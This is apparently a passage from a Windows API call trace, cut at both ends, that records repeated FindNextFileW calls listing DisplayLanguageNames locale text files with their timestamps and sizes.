ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_AR.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_BO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CL.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CR.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_DO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_EC.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_ES.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_ES_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_GT.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_HN.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_MX.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ecc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_NI.txt", cAlternateFileName="")) returned 1 [0084.171] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PA.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PE.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PR.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PY.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_SV.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_US.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_UY.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_VE.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es__TRADITIONAL.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.et.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.et_EE.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi_FI.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fi_FI_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_CA.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_FR.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f44, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.fr_FR_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.he.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f341800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x67c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.he_IL.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hr.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hr_HR.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hu.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.hu_HU.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_CH.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_IT.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.it_IT_PREEURO.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x656a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja_JP.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd3cc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6594, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ja_JP_TRADITIONAL.txt", cAlternateFileName="")) returned 1 [0084.172] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 